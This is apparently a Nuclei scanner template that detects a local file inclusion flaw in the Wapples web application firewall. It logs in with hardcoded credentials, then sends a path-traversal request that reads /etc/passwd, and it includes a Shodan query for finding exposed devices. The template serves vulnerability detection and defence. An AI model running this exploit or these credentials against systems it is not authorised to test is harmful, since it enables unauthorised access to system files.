id: wapples-firewall-lfi

info:
  name: Wapples Web Application Firewall - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: Wapples Web Application Firewall is vulnerable to local file inclusion.
  reference:
    - https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:pentasecurity:wapples:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"Intelligent WAPPLES"
    product: wapples
    vendor: pentasecurity
  tags: wapples,firewall,lfi,authenticated,vuln

http:
  - raw:
      - |
        POST /webapi/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id={{username}}&password={{password}}
      - |
        GET /webapi/file/transfer?name=/../../../../../../../../etc/passwd&type=db_backup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    attack: pitchfork
    payloads:
      username:
        - systemi
      password:
        - db/wp.no1
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"
# digest: 4b0a00483046022100bc9ec4a95f6e9aefca0d661110380db8937f16767c9484b5913780945d1820020221009a55d64908eb3c95a86fd374969da35dedc92fbeaf2473cb4c8004eb702b52de:922c64590222798bb761d5b6d8e72950